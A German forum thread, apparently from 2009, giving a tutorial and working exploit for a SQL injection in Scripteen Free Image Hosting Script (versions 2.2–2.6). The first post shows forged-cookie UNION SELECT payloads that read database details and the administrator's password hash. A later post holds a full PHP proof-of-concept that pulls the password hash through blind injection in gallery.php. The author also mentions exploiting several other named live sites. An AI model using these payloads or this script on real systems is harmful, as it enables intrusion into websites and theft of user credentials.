[Exploit] Scripteen Free Image Hosting Script V2.3 SQL Injection

Dieses Thema im Forum "Security Tutorials" wurde erstellt von Coksnuss, 17. Juli 2009 .

  1. 17. Juli 2009
    Zuletzt von einem Moderator bearbeitet: 15. April 2017
    Inhalt:
    1. Prolog
    2. analyse
    3. Exploit

    Prolog:
    Nachdem pampers eine anfrage auf eine Exploit Sektion gestellt hat, will ich hiermit den anfang machen. Bin nämlich auch sehr daran interessiert.
    Der folgenden Exploit ist (bis zu diesem Moment) NICHT PUBLIC! und ich habe mich dazu entschlossen ihn hier in diesem Board anstatt bei milw0rm "einzusenden" da ich hoffe das dies eventuell besonders für eine solche Sektion beiträgt!

    Dieser Exploit beinhaltet nicht blos den Exploit an sich sondern ein Tutorial, welches so weit wir möglich für den Laien geschrieben ist. Das heißt jeder der sich wirklich interessiert sollte verstehen WIE der Exploit funktioniert und alle Schritte nachvollziehen können.
    Was ist mit diesem Exploit möglich? - Es ist möglich die komplette Datenbank des Servers auszulesen durch Manipulation eines MySQL Queries.

    Heute hat lulox ein Projekt von sich vorgestellt. Es handelt sich um eine Webanwendung, basierend auf PHP, welche ein hosten von Bildern erlaubt.
    Da ich bereits bei vielen Projekten die hier im Board vorgestellt wurden einen Exploit endeckt habe, wollte ich mir auch diesmal den Spaß nicht nehmen lassen.

    • Klatopia.de XSS Lücke & Cookie stealing
    • Chilloutgames.de MySQL Injection
    • Pichamster.com MySQL Injection

    Die analyse
    auf der Webseite sieht man sofort das es sich um ein fertiges Script handelt.
    Code:
    Powered by Scripteen Free Image Hosting Script V 2.3
    Über google lässt sich die Herstellerseite schnell ausfindig machen.
    Da es sich um ein kostenloses Script handelt ist selbiges auch schnell auf unserem Rechner und die analyse kann beginnen.

    header.php (Zeile 38 - 63)
    PHP:
    if(isset( $_COOKIE [ 'cookid' ])){

     
    $vid  intval ( $_COOKIE [ 'cookid' ]);
     
    $vgid  intval ( $_COOKIE [ 'cookgid' ]); 
     
    $vname  check_input ( $_COOKIE [ 'cookname' ]); 
     
    $vpass  check_input ( $_COOKIE [ 'cookpass' ]); 
        
        
        
    $result  mysql_query ( "select * from users where userid=' $vid ' and usergid=' $vgid ' and username=' $vname ' and password=' $vpass '" );
        
        if(
    mysql_num_rows ( $result ) == 0 ) {
        
    header ( "Location: logout.php" );
        exit;
        } }

    $userid = $_SESSION [ 'userid' ];
    $usergid = $_SESSION [ 'usergid' ];
    if (!
    $userid  || empty( $userid ) ||  $userid == "" ){
        
    $userid  $_COOKIE [ 'cookid' ];
    }
    if (!
    $usergid  || empty( $usergid ) ||  $usergid == "" ){
        
    $usergid  $_COOKIE [ 'cookgid' ];
    }
        require_once(
    "inc/limits.php" );
    Das Script verwendet normalerweise eine sessionbasierende authentifizierung.
    anscheinend ist aber auch eine Cookiebasierende anmeldung möglich.

    Dem geübten auge fällt dabei sofort Zeile 58 und 61 ins auge.
    PHP:
    $userid  $_COOKIE [ 'cookid' ]; 
    $usergid  $_COOKIE [ 'cookgid' ];
    Die Werte werden direkt vom Cookie eingelesen. Das heißt wir können den Inhalt dieser beiden Variablen selber bestimmen. allerdings sollten wir die Zeichen ' und " vermeiden da diese bei vielen Servern durch Magic quotes durch \' und \" ersetzt werden.

    Wenn wir uns die Kette allerdings anschauen können wir nicht einfach einen wahllosen Inhalt in die Variable schreiben.
    In Zeile 40 wird bereits der Inhalt des Cookies beispielsweise in die Variable $vid geschrieben welche anschliessend in dem SQL Statement aus Zeile 46 Verwendung findet:
    PHP:
        $result  mysql_query ( "select * from users where userid=' $vid ' and usergid=' $vgid ' and username=' $vname ' and password=' $vpass '" ); 
    allerdings wird (zu unserem "Glück") diese Variable mit einem intval() gefiltert (der Inhalt wird zu einer Zahl konvertiert).

    Damit das Script nicht mit der darauffolgenden IF-abfrage abbricht müssen wir dafür Sorgen dass das Statement trozdem noch einen Datenbanksatz zurückliefert.
    Das schaffen wir nur indem wir unsere eigene UserID kennen.
    Diese ist garnicht so leicht herauszufinden wie ich zunächst dachte. In der profile.php habe ich in Zeile 22 dann aber folgendes endeckt:
    PHP:
    <input type="hidden" name="userid" id="userid" value="<?=$userid?>" >
    Unsere UserID wird in ein verstecktes Formularfeld geschrieben.
    Ein aufruf der profile.php und eine kurze ansicht des Quelltextes offenbart uns dann also unsere UserID (ich werde im folgenden davon ausgehen das diese den Wert 3 hat)

    Zurück also zum SQL Statement. Dazu ist es wichtig dass ihr wisst wie die intval() Funktion von PHP arbeitet.
    Beispielsweise wird der Wert "03 und hier steht lauter text" von PHP in die Zahl "3" umgewandelt.

    Zeit also unsere Cookies anzulegen.
    Code:
    cookid = 3
    cookgid = 3 <-- Diese Gruppe ist immer die selbe! (1 = admin, 2 = moderator, 3 = user)
    cookname = RaidRush <-- euer Benutzername
    cookpass = 52a20ab6297def1af0a7e16aa6899aee <-- Euer Passwort mit [URL=http://files.kniebes.net/php/md5/]MD5[/URL] verschlüsselt.
    
    Wichtig ist dabei das eventuell vorhandene sessioncookie zu löschen, da sonst nicht unsere Werte verwendet werden sondern die, die auf dem Server gespeichert sind.
    Wenn die Seite jetzt wieder aufgerufen wird solltet ihr "nach wie vor" eingeloggt sein. Diesmal allerdings über cookies, und nicht über die session.

    Nun ist es an der Zeit ein SQL Statement zu finden dessen ausgabe wir auch sehen können.
    Bspw: Ein manipuliertes Statement wie dieses aus Zeile 46 würde uns nichts bringen da wir die ausgabe nie zu Gesicht bekommen.
    anders bei profile.php (Zeile 7 - 16)
    PHP:
        $sql = "select * from users where userid= $userid " ;
        
        
    $result  mysql_query ( $sql ) or die( "Query failed." );
        while (
    $row  mysql_fetch_array ( $result )) 
        {
            
    $uname = $row [ 'username' ];        
            
    $fname = $row [ 'fname' ];
            
    $lname = $row [ 'lname' ];
            
    $email = $row [ 'email' ];
        }
    Der Exploit
    Wir erinnern uns, wir können den Inhalt der Variable $userid, nahezu beliebt bestimmen, müssen allerdings aufpassen das er "kompatibel" zu allen vor und nachgestellten SQL-Statements bleibt. (In unserem Fall bloß das Statement aus Zeile 46 welches den Parameter aber gesondert filtert)
    Wir müssen also darauf achten das die intval() Funktion von PHP den Wert 3 zurückliefert.
    Ersetzen wir jetzt (SQL Kentnisse vorausgesetzt) unser Cookie durch folgendes können wir einen manipulierten SQL query an den Server senden.
    Code:
    cookid = 3 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
    an dieser Stelle benötigt ihr SQL Kentnisse da ich sonst zu weit ausholen müsste. Es sei soviel gesagt das die Tabelle "users" genau 11 Spalten besitzt.
    Glücklicherweise werden die Variablen solange überschrieben bis die Datenbank den letzten Datensatz geliefert hat.
    Dieser ist nicht, wie eigentlich gewollt, der Datensatz der die Userdaten enthält sondern der Datensatz den wir in unserem UNION SELECT angegeben haben (in dem Fall die Zahlen 1-11).

    Wenn wir nun das Cookie speichern und die profile.php aufrufen sehen wir das Formular mit vorausgefüllten Feldern. In diesen Feldern stehen nun die Zahlen 3, 4, 5 und 8. Das ist die direkte ausgabe aus der Datenbank.

    Jetzt können wir das SQL Statement beliebig abändern.
    Code:
    cookid = 3 UNION SELECT 1,2,USER(), DaTaBaSE(), VERSION(),6,7,password,9,10,11 FROM users WHERE userid=1
    Jetzt würden wir in dem Formular neben den Datenbankuser, der aktuellen Datenbank + Datenbankversion außerdem das (MD5 verschlüsselte) Passwort des administrators vorfinden.

    Bild
    Bild

    Für erfahrende Nutzer ist es auch möglich den Inhalt der ganzen Datenbank (Stichwort information_schema) auszulesen.
    an dieser Stelle ist aber Schluss mit meinem Tutorial. Danke das du meinen Post bis hierhin gelesen hast.
    Einen Proof-of-Concept Exploit werde ich in einem 2. Post anhängen!
     
  2. 18. Juli 2009
    Zuletzt von einem Moderator bearbeitet: 14. April 2017
    AW: [Exploit] Scripteen Free Image Hosting Script V2.3 SQL Injection

    Soo, nachdem das Tutorial nun freigeschaltet ist möchte ich noch die ein oder andere Sache beifügen:

    1. Der Exploit funktioniert auf www.pichamster.com selbstverständlich nicht mehr
    2. Ich bitte euch diesen Exploit zum lernen und verstehen zu nutzen, NICHT dafür um anderen Leuten Schaden zuzufügen
    3. Das finden des Exploits hat kürzer gedauert als dieses Tutorial zu schreiben (etwa 20-30 Minuten)

    Außerdem habe ich das im 1. Post erwähnte Proof-Of-Concept Script fertiggestellt und befindet sich im Anhang.

    Bild

    https://www.xup.in/dl,11567842/scriptteen.php/

    // Edit: (24.07). So.... hab das jetzt auch mal an milw0rm geschickt .
     
  3. 19. Oktober 2009
    Zuletzt von einem Moderator bearbeitet: 14. April 2017
    AW: [Exploit] Scripteen Free Image Hosting Script V2.3 SQL Injection

    Hier nochmal ein Update.
    Die Nachricht ging auch eben an milw0rm raus. Der Exploit funktioniert für alle Versionen (von 2.2 - 2.6) (und eventuell auch davor) - Also für alle Versionen die momentan in Benutzung sind.

    POC:
    PHP:
    <? php
    // *************************************
    // Global variables
    // *************************************
    $g_arguments     getArguments ();
    $g_url         = isset( $g_arguments [ 'url' ]) ?  $g_arguments [ 'url' ] :  false ;
    $g_hexvalues     = array( 0 1 2 3 4 5 6 7 8 9 'a' 'b' 'c' 'd' 'e' 'f' );
    // *************************************

    // *************************************
    // Print help
    // *************************************
    if(isset( $g_arguments [ 'help' ]) ||  $g_url  ===  false )
    {
        echo 
    "###################################\n" ;
        echo 
    "#                                  \n" ;
        echo 
    "# Scripteen Free Image Hosting V2.6\n" ;
        echo 
    "#      SQL Injection Exploit       \n" ;
        echo 
    "#      Discovered by Coksnuss      \n" ;
        echo 
    "#      POC script by Coksnuss      \n" ;
        echo 
    "#                                  \n" ;
        echo 
    "###################################\n" ;
        
        echo 
    "Usage: "  $argv [ 0 ] .  "\n" ;
        echo 
    "\t--help - This help\n" ;
        echo 
    "\t--url=[STR] - URL of a vulnerable site (e.g. http://www.host.de/path/to/script)\n" ;
        die();
    }
    // *************************************


    // *************************************
    // Main
    // *************************************
    $url  strpos ( $g_url '.php' ) !==  false  dirname ( $g_url ) :  $g_url ;
    if(
    substr ( $url , - 1 1 ) ==  '/'  $url  substr ( $url 0 , - 1 );

    // Get default filename from image #1
    echo  "Get filename of image #1..." ;
    $ret  file_get_contents ( $g_url  '/gallery.php?sort='  urlencode ( 'added LIMIT 1-- j' ));
    $ret2  file_get_contents ( $g_url  '/gallery.php?sort='  urlencode ( 'filesize LIMIT 1-- j' ));
    preg_match_all ( '/([\d]{1}[.][\d]{1})/' $ret $version );



    if(! preg_match ( '!<div name="galimage".*<br /><br />(.*)</td>!' $ret $match ))
        die(
    'Couldn\'t retrieve imagename of image #1!' );
        
    if(!
    preg_match ( '!<div name="galimage".*<br /><br />(.*)</td>!' $ret2 $match2 ))
        die(
    'Couldn\'t retrieve imagename of image #1!' );

    if(
    trim ( $match [ 1 ]) ==  trim ( $match2 [ 1 ]))
        die(
    "\nPlease upload a public smallsize picture to "  $url  " or change the query manualy\n" );
        
    $defaultImagename  trim ( $match [ 1 ]);

    echo 
    "DONE ("  $defaultImagename  ")\n" ;

    // Start loop to retrieve the password
    for( $i  1 $i  !=  33 $i ++)
    {

        foreach(
    $g_hexvalues  as  $chr )
        {
            echo 
    $chr ;
            
    $ret  file_get_contents ( $g_url  '/gallery.php?sort='  urlencode ( 'IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 1), '  $i  ', 1))='  ord ( $chr ) .  ', filesize, added) LIMIT 1-- j' ));
            
    preg_match ( '!<div name="galimage".*<br /><br />(.*)</td>!' $ret $match );
            
            if(
    $defaultImagename  !=  trim ( $match [ 1 ]))
                break;
            else
                echo 
    "\010" ;
        }
    }
    // *************************************


    // *************************************
    // Global functions
    // *************************************
    function  getArguments ()
    {
        global 
    $argv ;
        
        foreach(
    $argv  as  $arg )
        {
            if(
    substr ( $arg 0 2 ) ==  '--' )
            {
                
    // In case its an arguments (e.g. --arg='1')
                
    if(( $pos  strpos ( $arg '=' )) !==  false )
                {
                    
    $name  substr ( $arg 2 , ( $pos  2 ));
                    
    $value  substr ( $arg , ( $pos  1 ));
                    
                    
    $args [ $name ] =  $value ;
                
    // Or just a flag (e.g. --help)
                
    } else {
                    
    $name  substr ( $arg 2 );
                    
                    
    $args [ $name ] =  true ;
                }
            } else if(
    $arg  ==  $argv [ 0 ]) {
                
    $args [ 0 ] =  $argv [ 0 ];
            }
        }
        
        return 
    $args ;
    }
    // *************************************
    ?>
    Bild
     
  4. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.